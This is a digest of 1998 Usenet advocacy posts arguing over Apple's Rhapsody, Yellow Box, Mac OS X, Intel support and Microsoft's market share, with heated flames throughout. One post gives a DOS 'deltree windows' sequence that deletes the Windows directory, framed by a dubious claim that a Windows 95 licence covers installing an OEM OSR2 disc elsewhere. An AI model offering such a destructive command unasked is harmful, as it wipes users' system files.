In <355C29F0.2F0A8AB1@milestonerdl.com> M Rassbach wrote:
> > In <3559CD42.9033EE77@milestonerdl.com> M Rassbach wrote:
> > > And the cross-platform aspect of YellowBox is clear how?
> > >
> > Because it runs on multiple platforms.
> > But you knew that.
>
> And the future is?
> NT 4.0/95
>
Looks like it for a while at least.
> Where is NT 5.X and any future beyond that?
>
Good question. Ask Micro$oft. They haven't told us yet.
> Apple has said the future is in question.
>
That's a bit philosophical for a computer company.
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 17 May 1998 17:14:35 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>
References: <6jng30$fg7$1@supernews.com>
In article <6jng30$fg7$1@supernews.com>, a l t e n b e r@nashville.com wrote:
> Does the evisceration of Display PostScript from Yellow Box and MacOS X mean
> the end of the true "What You See Is What You Get" feature unique to
> Rhapsody, OpenStep and NeXTStep?
No, Apple was very clear on this point -- a unified imaging/printing
model is being retained (based on PDF, not PostScript).
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 17 May 1998 21:07:25 GMT
Organization: P & L Systems
Message-ID: <6jnjid$1cc$79@ironhorse.plsys.co.uk>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
<6jnd5o$qjg$2@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6jnd5o$qjg$2@news.idiom.com> John C. Randolph wrote:
> I just can't buy the claim that there's a technical reason for dropping
> PostScript in favor of PDF. This was political, no two ways about it.
>
Apparently it may:
Make the window server more efficient;
Make multi-threaded imaging possible;
Enhance performance of YB/Windows significantly.
Please don't ask me for technical details at the moment! :-)
Best wishes,
mmalc.
Date: Sun, 17 May 1998 17:32:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1705981732160001@elk85.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net> <6jn5bm$pd9$1@crib.bevc.blacksburg.va.us>
In article <6jn5bm$pd9$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <joe.ragosta-1705980743310001@elk61.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>, akira@home.com
> > wrote:
>
> > > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > > session. I asked the question, I got the answer. There will be NO
> > > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
>
> > Please provide the exact wording and the point of time in the tape where
> > this statement was made.
>
> You're as pathetic as Rassbach.
>
> If you're going to get the tapes, just listen to them. (Akira probably
> doesn't even have them; he doesn't need to, because he was there _live_,
> so I doubt he could give you the "exact wording" and certainly not a
> time index!) He told you which session it was in. If you're not going
> to get the tapes, then there's no point in asking.
>
> An inability to produce a time index in a session does not imply that
> Apple never said it. If you want a recording of someone from Apple
> saying that, get the tape. Otherwise, settle for what someone who
> attended the session said -- he asked the question, I'm sure he paid
> careful attention to the wording of the answer!
I have no intention of buying the tapes.
But so often, the Wintel trolls make statements like the above which have
no bearing on reality. They hear something and it gets so badly distorted
that their version comes out sounding nothing like the original.
I'd prefer to hear what the original source has to say before passing judgement.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 17 May 1998 15:23:06 -0600
Organization: Idaho State University
Message-ID: <6jnkfq$cik$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu>
In article <355EBFBF.6A00DEA4@mail.utexas.edu>,
Bobby D. Bryant <bdbryant@mail.utexas.edu> wrote:
->John Saunders wrote:
->
->> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
->> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
->>
->> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
->>
->> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
->> FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
->> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
->
->Umm, could you tell us again who it is that's keeping MS from making OSR2
->available to the public? Surely, it couldn't be because doing so would hurt
->the sales of W'98 (or 99, or whatever), could it?
Not to mention that Windows95 is Windows95 is Windows95; If you have
a license to run Windows95 then you _have a license to run_
Windows95. Take the OSR2 disc which came with your laptop and install
it on your gateway. It's the same thing (right?).
If Microsoft doesn't want to call OSR2 Windows 95.1 (or, better said,
Windows 4.1) then any Windows95 license will work with any Windows95
compact disc.
C:
deltree windows
Y
D:
cd win95
setup
Off you go with fat32.
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 21:50:57 GMT
Organization: P & L Systems
Message-ID: <6jnm41$1cc$81@ironhorse.plsys.co.uk>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
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Cc: akira@home.com
In <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> akira@home.com wrote:
> More on Jordan. I can understand that he was probably rightfully tired of
> everyone asking him about YB and Rhapsody. Even so, I felt he was becoming
> very beligerent towards speakers who were asking 'message' related
> questions. By the end, I was felt very much like they were saying, "Life's
> tough, we don't care, so shut-up and sit down." We wouldn't keep asking
> about the 'message' if the message from Apple had been delivered
> unequivocally and press released. Thank goodness folks like Ernest were
> there to be more understanding of our needs.
>
Umm, I feel I should put in a good word for Jordan here.
Earlier in the week I noticed a number of posts from him at almost midnight
on the rhapsody-talk and rhapsody-dev lists answering questions people have
there. He's usually been straightforward, provided useful information, and
put up with a fair amount of flak.
That may not be an excuse for an attitude problem during the session, however
he should also be recognised for his useful contributions elsewhere.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 17 May 1998 21:40:44 GMT
Organization: P & L Systems
Message-ID: <6jnlgs$1cc$80@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com>
<6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com>
<6jfual$1cc$32@ironhorse.plsys.co.uk> <355C4B7B.33644A11@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355C4B7B.33644A11@milestonerdl.com> M Rassbach wrote:
> mmalcolm crawford wrote:
>
> > OK, since you're being such a pain, I guess it's time to start betting
again.
>
> I'm being a pain?
>
Yes.
> What? Truth hurts? Face it, I have a credible message questioning Apple's
> committment to Intel/NT 5.x/98 as a long term option.
>
No, you don't. Especially since YB already runs on both (in whatever beta
form they are in).
> And you are to in love
> with Apple to admit there is a problem.
>
I'm not in love with Apple at all.
> http://www.macnn.com/macnn/reality/archives/051198/news.shtml
> (No word if Rhapsody Intel will be pushed as much)
>
> Brett talked about support for
> Rhapsody in the future on multiple architectures, but again, he too
was very
> vague on this subject and did not specifically mention
> Intel. We believe Steve briefed these keynote speakers ahead of time,
and
> warned them to stay clear of the Intel situation since they
> aren't quite secure in this area.
> Brett Halle, Manager of the Core OS group
>
> Seems to me the long-term plan isn't as clear as you state.
>
So, you're willing to accept MacNN's report but not Scott's -- I wonder why.
> > I'm willing to lay down $100 that within a year of Win98 shipping Apple
has
> > YellowBox running on it.
>
> > Put up or shut up.
>
> I have a BETTER idea....when you can produce a formal statement by Apple
that NT
> 5.x/98 is part of their support plan, then I won't be able to comment on
this,
> now will I?
>
I don't think that's a better idea, I stand not to gain $100.
Now, do you take the bet or shut up?
mmalc.
From: johntl@means.net (John Linnemann)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 16 May 1998 17:03:16 +0100
Organization: [poster's organization not specified]
Message-ID: <johntl-ya02408000R1605981703160001@news.means.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu>
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Apple now has a G3 notebook for $2300 and it is coming out with a consumer
notebook in early 1999.
Later,
FiBeR
> In article <6jg12k$o12$1@winter.news.erols.com>, "Ted Martin"
> <tmartin@bcpl.net> wrote:
>
> > That's a Main Street One.
>
> It's still a laptop, isn't it? It's new, fast, expandable...
>
> > Wall Street is $4000-6000, hence the name.
>
> And PC laptops can cost that much as well. So do you proclaim all PC
> laptops to be unreasonably expensive just because one of them is $6000?
>
> -Bob Cassidy
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 17 May 1998 21:56:20 GMT
Organization: MiscKit Development
Message-ID: <6jnme4$mhk$1@news.xmission.com>
References: <355B510B.250023F2@milestonerdl.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com> <6jn4gc$pam$1@crib.bevc.blacksburg.va.us>
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> [...] Do you think Scott would get invited to any more WWDCs
> if he was posting disinformation in his worldwide Stepwise reporting?
> [...].
Just to set the record straight, in case anyone wondered...
Scott wasn't "invited" to WWDC by Apple any more than anyone else was. He
paid full price for everything--conference admission, food, hotel, travel,
etc. (Or, you could say that the sponsors of Stepwise's special WWDC
coverage at least, in part, paid for it.) Apple didn't pay Scott a single
cent or offer him any special priveleges--he does what he does because he
cares and wants to help the community.
...in another post...
> [...] Scott, who was exhausting himself _while sick_ to bring
> us accurate coverage of the WWDC events.
See how much Scott cares about us? We should all be in awe of such
greatness! :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: William Edward Woody <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 15:00:40 -0700
Organization: In Phase Consulting
Message-ID: <355F5E08.D4E84DA9@alumni.caltech.edu>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
<3559CD42.9033EE77@milestonerdl.com> <6jh41d$1cc$41@ironhorse.plsys.co.uk>
<355C29F0.2F0A8AB1@milestonerdl.com> <6jnj7f$1cc$78@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> > Where is NT 5.X and any future beyond that?
> >
> Good question. Ask Micro$oft. They haven't told us yet.
While not receiving the same sort of press as Windows 98, the
Windows NT 5.0 beta was seeded to MSDN Pro subscribers in
January. (I've got the WinNT 5.0 beta disk sitting right
here on my desk, though I haven't installed it yet.)
- Bill
--
William Edward Woody | In Phase Consulting
woody@alumni.caltech.edu | Macintosh & MS Windows Development
http://www.alumni.caltech.edu/~woody | http://www.pandawave.com/
From: MACGHOD <Macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: microsoft OS's with %90 of market??
Date: 17 May 1998 18:27:56 EDT
Organization: Concentric Internet Services
Message-ID: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
All the news on microsoft says its os's have about %90 of the pc market.
Now if macs are %20 of the market like Apple claims, this cant be true.
And then when you add PC's where the users dont have a microsoft os (such
as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
%25 percent. This %90 number must be off, no?
From: caradoc@neta.com (John Groseclose)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Sun, 17 May 1998 15:41:57 -0700
Organization: Yngvi's De-Lousing and Pest Control Service
Message-ID: <caradoc-1705981541570001@caradoc.neta.com>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> All the news on microsoft says its os's have about %90 of the pc market.
> Now if macs are %20 of the market like Apple claims, this cant be true.
> And then when you add PC's where the users dont have a microsoft os (such
> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> %25 percent. This %90 number must be off, no?
Microsoft typically uses numbers from whatever market will make them look
best. In advertising aimed at the home user, they'll claim that they hold
90% of the market - leaving out completely that "the market" they're using
for their numbers is "blond lawyers in Dallas."
Message-ID: <355F6C41.F47A4916@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu>
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Date: Sun, 17 May 1998 22:57:52 GMT
NNTP-Posting-Date: Sun, 17 May 1998 18:57:52 EDT
Pulsar wrote:
>
> The Blue Box performs _better_ than "originally advertised" *right now*.
>
> It is still not good enough to make Rhapsody a mainstream Mac OS
> replacement without Yellow Box support from the big name companies.
Again, so what's keeping them from signing on, in your estimation?
> > Oh, sure. It's all so simple. Apple is now on a TRI-OS strategy, and
> > that's just so simple and straightforward for everyone--MAC OS
> > 8/8.1/8.5, etc., Rhapsody, and now Mac OS 10 which will be significantly
> > different from both. Yes, it's such a simple, easy-to-follow strategy
> > that developers will be thrilled over it....
>
> Just because you are having problems following the strategy does not mean
> that Mac OS developers are.
>
> Mac OS X is not significantly different from Rhapsody. Anyone who buys
> Rhapsody and then buys Mac OS X will see no change except that Mac OS X is
> more polished and has an updated core (such as a Mach 3.0 variant instead
> of 2.5)
Again, you can't *say* what you just said! "Mac OS 10" does not yet
exist! You cannot say it is *not significantly different from Rhapsody.*
That may or may not be the case--*when* Mac OS 10 is *released.*
>
> Apple said that they wouldn't orphan the entire line of Mac OS with the
> release of Rhapsody. THat's a pretty good reason.
That is no reason at all. The concept that "Rhapsody would orphan the
Mac OS" was *not* a concept *ever discussed* at the time Apple bought
NeXT, nor was it a concept *ever discussed* at Apple prior to Jobs
usurping Amelio and the old board. In fact, at the time Apple bought
NeXT, it was *widely publicized* that Apple was searching for an OS
solution to REPLACE the Mac OS. It is no more than a CYA policy that has
*since* been engineered by Jobs to explain why Rhapsody *won't do* what
*Apple thought it would do* when Apple shelled out 450 Million dollars
to Jobs and company as the architects of the next-gen Apple OS.
>
> Rhapsody 1.0 may have had a _negative_ impact.
This is brilliant. First you say that Rhapsody will ship and do
*everything* it was supposed to have done from the beginning, and do a
*better* blue box, but that it may have a *negative impact.*
I submit that Rhapsody *will not* do everything as advertised and will
in fact leave a lot of people cold and *that* is why Jobs needed to
invent the NeXT Great Thing to divert attention from the upcoming
Rhapsody release. That makes much more sense than what you maintain.
> If Apple had pushed that
> instead of the Mac OS, developers would surely have balked.
What assurance do you currently have that they will not "balk" at
waiting 18 months to see what else develops at Apple, to see how to
"tweak" their existing code?
> The whole
> reason Apple pulled this backwards compatibility stunt was because
> developers weren't developing for Rhapsody. Apple has now provided a way to
> replace the Mac OS entirely as a mainstream OS with Rhapsody without
> scaring away users and developers.
This is where we completely disagree. As of now, Apple has *provided* no
such thing. All Apple is doing is *talking about* when it will actually
provide something and *talking about* what that something will consist
of. Condensed, it is the difference between vaporware and shipping ware.
>
> You do not understand.
>
> New apps are being written. Not *re*written. The tweaking refers to making
> sure that the Mac OS app uses only those 6000 out of 8000 API functions in
> Carbon that will allow the application be brought out of the Blue Box and
> make use of PMT and PM.
I understand completely that this is what *Apple says* the case will be,
and I also understand completely that currently this is not the case at
all. You keep harping on the fact that Rhapsody is being released. Of
what possible significance can you imagine Rhapsody at all if your
sentiments are as stated above? The "announcement" of Mac OS 10, and the
*projected legacy support* of Mac OS 10 are merely current intentions
and goals, not present realities. If these announcements are believed by
developers Rhapsody will never get off the ground because developers
won't bother to rewrite applications to use it!
Here's a really wild idea for you. Suppose that Rhapsody is as you've
said--great, through and through, nearly bug free, and utilizing a great
blue box that runs 99% of all legacy applications *better* than the
current Mac OS. HOW CAN YOU BE SO SURE THAT DEVELOPERS WOULDN"T HAVE
SIGNED ON AFTER SUCH A RELEASE WAS ACCOMPLISHED? Suppose Apple pushed it
and sold 5 million copies in a year? Suppose it was selling GREAT and
RUNNING GREAT? Don't you think major developers would REASSESS their
current positions? I certainly do, myself.
But Jobs has killed that possibility with his nauseating "MAC OS 10"
publicity stunt.
THis doesn't even HIT on the "Rhapsody for Intel" development.
>
> People writing new applications should be writing for Yellow Box. Mac OS
> developers with old code who don't want to rewrite their apps for Yellow
> Box should be tweaking them for Carbon. If they don't do that, then it's to
> the Blue Box with them.
Let me put another wild premise to you. Suppose Mac developers, instead
of waiting around for 18 months to learn just how to "tweak their
applications" for Mac OS 10, decided to go ahead and use that time
REWRITING THEIR CODE for Rhapsody? Of course, that possibility has been
shot down, too.
> It is the reaction of people like yourself that proves that the RDF was
> working full force.
I would have thought it was the other way around...:)
> >
> > As I say, when Rhapsody is released it will come with a whimper, thanks
> > to Jobs' Mac OS 10 stunt.
>
> We'll see.
Can you think of one good reason why it would now be released with a
"bang?"
> >
> > The problem with all of that is that it is pure theory. We have yet to
> > see the reality of it.
>
> Read what was said. What we know as the Mac OS right now will be dead when
> Apple releases "Mac OS" 10. Mac OS 10 is Rhapsody renamed.
If that's so, then how is Rhapsody being released this fall supposedly?
I see..."Mac OS 10" is merely Apple's cute way of saying, "Mac OS 10 is
the Rhapsody that consumers and developers will LIKE. So it's 18 months
late. First, we're going to release the Rhapsody 1.0 this year, the
version that we feel consumers and developers WON'T LIKE."
Yea, makes *so* much sense.
>
> Do you _really_ believe that the general public even knows about Rhapsody
> much less will want it? Rhapsody will have relatively few apps to begin
> with. None of the big name companies have announced support for it (ie
> Microsoft and Adobe). That has absolutely nothing to do with Monday's
> announcements. Monday's announcements were caused by this very fact. It was
> not the other way around.
Do you REALLY_BELIEVE that the "general public" even knows what Apple
Computer is? Come on...that one's tough enough, let alone the Rhapsody
issue. Everything that Apple is doing it's doing for the CURRENT MAC
MARKET, IE, people currently using a Mac. Nobody else even figures in.
>
> _I_ will buy Rhapsody as soon as it becomes available to me. That has not
> changed with Jobs' announcement.
>
So, you'll buy it--but few others will. Is that your core argument?
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 17 May 1998 23:02:06 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6jnq9e$ibc$1@news.tuwien.ac.at>
References: <01bd81b9$c8480d60$04387880@test1>
Mime-Version: 1.0
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Cc: todd@NetSQ.com
In <01bd81b9$c8480d60$04387880@test1> "Todd Heberlein" wrote:
> LOSERS:
> -------
> (1) Rhapsody/Intel Users. Currently Apple appears poised to kill off
> Rhapsody/Intel when MacOS X ships. Apple's Intel support is via
> NT/9x.
If this turns out to be true[0], then the jerks in Apple management
responsible for the decision should be destroyed[1].
<rant mode= assume the bad news are true>
Not attempting native Intel support would be perfectly understandable if a
port of the Rhapsody/Mach core would have to be done first and from scratch.
But they've had the bloody port working for years (under different names, but
what the heck)! They've got the expertise and everything to write drivers and
to do support for new hardware!
Also, _all_ the various flavours of Windows suck to an unbelievable degree.
I'm not an evangelist for any particular operating system. I'm just an
engineer that wants to work with systems that don't cause more problems than
they solve, so as to be able to better concentrate on the real issues at
hand. All I'm interested in is a stable working environment that has a
minimum of design rationale behind it.
In this respect, all Microsoft products so far are totally inane
garbage[2][3]. And Apple wants us to live with _that_ as an OS base on
Intel[4]? Idiots.
If they want to force the world to buy their overpriced PPC machines at all
costs, well, go ahead. Trudge along for some more time as a second-league
player in the IT business, and get bought out by some home appliances maker
sometime in the future. Or die. Or whatever.
Perhaps they'll wake up someday to the fact that they might have made a
difference to computing at large if they had only tried. That, of course,
assumes that they actually care about this kind of thing (instead of,say,
only shareholder ROI and short-term profit beancounting and CEO egos and...).
</rant>
$0.2E-64
Alexander Wilkie
[0] And I'm hoping it doesn't
[1] In a suitably painful way
[2] As opposed to UNIX and derivatives (i.e. Rhapsody), which are usually
quirky[2a], but have some human-comprehensible logic behind most of their
components.
[2a] to put it mildly :-)
[3] Just think of the driver "model" of W95. One would be tempted to laugh
out loud if it weren't so sad that something as broken actually gets
deployed. If our students hand something like that in for a programming
project, their work gets rejected for sure...
[4] Oh, that's only like 80% of existing computer hardware. We would not want
to support _that_...
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
Message-ID: <355F6DDE.53617770@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>
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Date: Sun, 17 May 1998 23:04:39 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:04:39 EDT
Pulsar wrote:
>
> Rhapsody as it was would have never made as a consumer OS since none of the
> big software companies endorsed it. That _forced_ Apple to do what they did
> on Monday.
>
>
Maybe, just maybe, the reasons why "Rhapsody" wasn't endorsed were
simple and easy to understand? Maybe Rhapsody DR1 wasn't enough for them
to start spending millions of development dollars on? Maybe they were
leery that Jobs, as unstable as he's been, would DO WHAT HE JUST DID,
and cut them off at the knees with their Rhapsody development? Maybe
they just wanted to wait for Apple to SHIP a 1.0 + version of the OS
first?
I can think of a lot of good reasons why developers *WOULD* have
supported Rhapsody, provided Apple had come through in a lot of *other
ways*.
In this scenario as handled by Apple--Rhapsody 1.0 never had a chance.
Instead, you tell us to wait on the Rhapsody that developers and
consumers will LIKE--Mac OS 10 in 18 months.
Message-ID: <355F6ECA.573767@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com>
<355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com>
<6jd44l$522$1@camel21.mindspring.com> <355B3865.D74E6279@spamtoNull.com> <6jg19s$1cc$36@ironhorse.plsys.co.uk>
Content-Type: text/plain; charset=us-ascii
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Date: Sun, 17 May 1998 23:08:35 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:08:35 EDT
mmalcolm crawford wrote:
>
> In <355B3865.D74E6279@spamtoNull.com> Jonathan Harker wrote:
> > I like to think of myself more as a "reasonable counterpoint" than a
> > rabid troll, thank you...:)
> >
> More self-delusion.
>
> You're a bloody idiot.
>
I rather doubt I'm the one who is deluded...:)
However, I do note that it usually "takes one to know one" as they
say....:)
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: 17 May 1998 23:10:27 GMT
Organization: I don't think so
Message-ID: <slrn6lurqr.6a7.jason@jhste1.dyn.ml.org>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <caradoc-1705981541570001@caradoc.neta.com>
John Groseclose posted the following to comp.sys.mac.advocacy:
>> All the news on microsoft says its os's have about %90 of the pc market.
>> Now if macs are %20 of the market like Apple claims, this cant be true.
>> And then when you add PC's where the users dont have a microsoft os (such
>> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
>> %25 percent. This %90 number must be off, no?
>Microsoft typically uses numbers from whatever market will make them look
>best. In advertising aimed at the home user, they'll claim that they hold
>90% of the market - leaving out completely that "the market" they're using
>for their numbers is "blond lawyers in Dallas."
There's a distinction between "installed base" and "new sales" - Apple's
market share used to be much higher (for new sales) and Microsoft's somewhat
lower, leaving Apple's installed base higher than its current market share
(and Microsoft's lower than _its_ current market share). Also, Microsoft
rings up a sale for many machines which are immediately converted over to
Linux or FreeBSD (or OS/2 etc.)
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
Message-ID: <355F6F95.2E82E192@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355B338C.8A90A5C5@spamtoNull.com> <see-below-1405982020340001@209.24.240.162>
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Date: Sun, 17 May 1998 23:11:59 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:11:59 EDT
Matthew Vaughan wrote:
> >
> >
> > I never said that YB is "going nowhere." What I said is that it will
> > *definitely* go nowhere *if* is is perpetually 18 months out. That seems
> > like no more than common sense.
>
> But it will be shipped to customers in four months. How did that suddenly
> become 18 months?
>
Let me know when it ships. As usual, our conversations will be much more
rewarding when focused on shipping ware as opposed to vaporware or rumor
ware. I fully realize that around here, the distinction is trivial and
somewhat absurd. After all, why discuss what "is" when it's so much more
fun to discuss what "will be" as though it is? It allows us to dispense
with so many nitpicking details....:)
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sun, 17 May 1998 19:11:48 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1705981911490001@mv139.axom.com>
